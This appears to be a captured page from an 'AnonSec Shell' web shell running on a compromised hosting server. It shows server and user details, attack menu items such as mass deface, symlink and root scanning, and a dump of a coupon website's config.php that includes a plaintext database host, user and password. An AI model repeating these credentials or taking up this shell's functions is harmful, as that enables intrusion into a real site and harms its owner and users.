. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146   [ Reverse IP ]
Web Server : Apache
System : Linux webm002.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : dealkatnwc ( 662330)
PHP Version : 7.0.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/dealkatnwc/www/GDEAL/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/dealkatnwc/www/GDEAL/pages/config.php
<?php
session_start();
$host = 'dealkatnwcdk2016.mysql.db';
$dbname = 'dealkatnwcdk2016';
$user = 'dealkatnwcdk2016';
$passwd = 'Dealka1987';
$home ='http://dealka.tn/';
$coupon_dir ='../coupon/';
$indicatif_tel ='216';

$db = new PDO('mysql:host='.$host.';dbname='.$dbname.'', $user, $passwd);
// $db = new PDO('mysql:host='.$host.';dbname='.$dbname.'', $user, $passwd);
// $db = new PDO('mysql:host='.$host.';dbname='.$dbname.'', $user, $passwd, array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8'));
// $db -> exec("SET CHARACTER SET utf8");
// $db = new PDO("mysql:host=".$host.";dbname=".$dbname.";charset=utf8", $user, $passwd,
                    // array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"));
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);		
// $db->exec("SET NAMES 'utf8';");
// $db->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, "SET NAMES 'utf8'");
 
date_default_timezone_set("Africa/Tunis");

$statut_code = array('','Administrateur','Vendeur','Partenaire');

$etat_coupon_vendeur = array( 3 => 'Payée en espèces', 4 => 'Payée par chèque', 1 => 'Reservation', 7 => 'Paiement à la livraison', 8 => 'Paiement Par Mandat Minute');
$etat_class = array(0 => 'info', 1 => 'info', 2 => 'success', 3 => 'success', 4 => 'success', 5 => 'success', 6 => 'danger', 7 => 'warning', 8 => 'warning');
$coupon_code = array(0 => 'En cours', 1 => 'Reservé', 2 => '$En ligne', 3 => '$Espèces', 4 => '$Par chèque', 5 => '$A. res.', 6 => 'Refusée', 7 => 'Paiement à la livraison', 8 => 'Paiement Par Mandat Minute');
$coupon_code_color = array(0 => '#007cbb', 1 => '#4f9fcf', 2 => '#019401', 3 => '#019401', 4 => '#019401', 5 => '#4f9fcf', 6 => '#CC0000', 7 => '#f0ad4e', 8 => '#f0ad4e');
$etat_cp_paied = array(2,3,4,5);
$etat_cp_canprint = array(2,3,4,5,7);
// $coupon_code_icon = array(		
				// 0 => "<i class='fas fa-spinner fa-spin' style='color: #4f9fcf;' title='En cours'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				// 1 => "<i class='fas fa-registered' style='color: #4f9fcf;' title='Reservé'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				// 2 => "<i class='fas fa-credit-card' style='color: #019401;' title='Payée En Ligne'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				// 3 => "<i class='fas fa-hand-holding-usd' style='color: #019401;' title='Payée En Espèces'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				// 4 => "<i class='fas fa-money-check-alt' style='color: #019401;' title='Payée Par Chèque'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				// 5 => "<i class='fas fa-registered' style='color: #019401;' title='Payée Après Réservation'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>",  
				// 6 => "<i class='fas fa-times-circle' style='color: #CC0000;' title='Refusée'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				// 7 => "<i class='fas fa-shipping-fast' style='color: #f0ad4e;' title='Paiement à la livraison'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				// 8 => "<i class='far fa-clock' style='color: #f0ad4e;' title='Paiement Par Mandat Minute'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>" 
				// );
				
$coupon_code_icon = array(		
				0 => "<i class='fad fa-spinner fa-spin' style='color: #4f9fcf;' title='En cours'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				1 => "<i class='fad fa-registered' style='color: #4f9fcf;' title='Reservé'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				2 => "<i class='fad fa-credit-card' style='color: #019401;' title='Payée En Ligne'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				3 => "<i class='fad fa-sack-dollar' style='color: #019401;' title='Payée En Espèces'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				4 => "<i class='fad fa-money-check-alt' style='color: #019401;' title='Payée Par Chèque'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				5 => "<i class='fad fa-registered' style='color: #019401;' title='Payée Après Réservation'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>",  
				6 => "<i class='fad fa-times-circle' style='color: #CC0000;' title='Refusée'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				7 => "<i class='fad fa-shipping-fast ' style='--fa-primary-color: goldenrod; --fa-secondary-color: black;--fa-secondary-opacity: 1.0' title='Paiement à la livraison'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>", 
				8 => "<i class='fad fa-hourglass-half ' style='--fa-primary-color: goldenrod; --fa-secondary-color: black;--fa-secondary-opacity: 1.0' title='Paiement Par Mandat Minute'  data-toggle='tooltip' data-placement='bottom' aria-hidden='true' ></i>" 
				);
				

$coupon_code_only_icon = array(
				0 => "fa-spinner fa-spin", 
				1 => "fa-registered", 
				2 => "fa-credit-card", 
				3 => "fa-sack-dollar", 
				4 => "fa-money-check-alt", 
				5 => "fa-registered",  
				6 => "fa-times-circle", 
				7 => "fa-shipping-fast", 
				8 => "fa-hourglass-half" 
				);

 
$animated_open_effect = array("bounce" , "flash" , "pulse" , "rubberBand" , "shake" , "swing" , "tada" , "wobble" , "jello" , "bounceIn" , "bounceInDown" , "bounceInLeft" , "bounceInRight" , "bounceInUp" , "fadeIn" , "fadeInDown" , "fadeInDownBig" , "fadeInLeft" , "fadeInLeftBig" , "fadeInRight" , "fadeInRightBig" , "fadeInUp" , "fadeInUpBig" , "flipInX" , "flipInY" , "lightSpeedIn" , "rotateIn" , "rotateInDownLeft" , "rotateInDownRight" , "rotateInUpLeft" , "rotateInUpRight" , "slideInUp" , "slideInDown" , "slideInLeft" , "slideInRight" , "zoomIn" , "zoomInDown" , "zoomInLeft" , "zoomInRight" , "zoomInUp" , "rollIn");
$animated_close_effect = array("bounce" , "flash" , "pulse" , "rubberBand" , "shake" , "swing" , "tada" , "wobble" , "jello" ,"bounceOut" , "bounceOutDown" , "bounceOutLeft" , "bounceOutRight" , "bounceOutUp" , "fadeOut" , "fadeOutDown" , "fadeOutDownBig" , "fadeOutLeft" , "fadeOutLeftBig" , "fadeOutRight" , "fadeOutRightBig" , "fadeOutUp" , "fadeOutUpBig" , "flipOutX" , "flipOutY" , "lightSpeedOut" , "rotateOut" , "rotateOutDownLeft" , "rotateOutDownRight" , "rotateOutUpLeft" , "rotateOutUpRight" , "slideOutUp" , "slideOutDown" , "slideOutLeft" , "slideOutRight" , "zoomOut" , "zoomOutDown" , "zoomOutLeft" , "zoomOutRight" , "zoomOutUp" , "rollOut");
function flous($x){return number_format($x,0,',',' ')." <sup>Dt.</sup>";}


function he_can($ab)
{
$ability = array();
$ability[1] = array('COUPONS','VENDRE','TTCOUPONS','MSCOUPONS','RECHERCHE','USERS','TTUSERS','STATUTUSERS','BD','CLT','LINK','STAT','FACTURE','EDITDEAL','CPPRINT','CPMAILING','CPPAIEMENT','CPRECU','CPEDIT','CPDELETE');
$ability[2] = array('COUPONS','VENDRE','TTCOUPONS','MSCOUPONS','CLT','LINK','CPPRINT','CPMAILING','CPPAIEMENT','CPRECU','FACTURE','EDITDEAL');
$ability[3] = array('COUPONS','MSCOUPONS');
if (!(isset($ability[$_SESSION['GDEAL']['user']['statut']]))) {return false;}

if (in_array($ab, $ability[$_SESSION['GDEAL']['user']['statut']])) {return true;}
return false;
}
// 
function nrz($k)
{
	$k = str_replace(' ', '', $k);
	return (strtoupper($k));
}

?>

Anon7 - 2022
AnonSec Team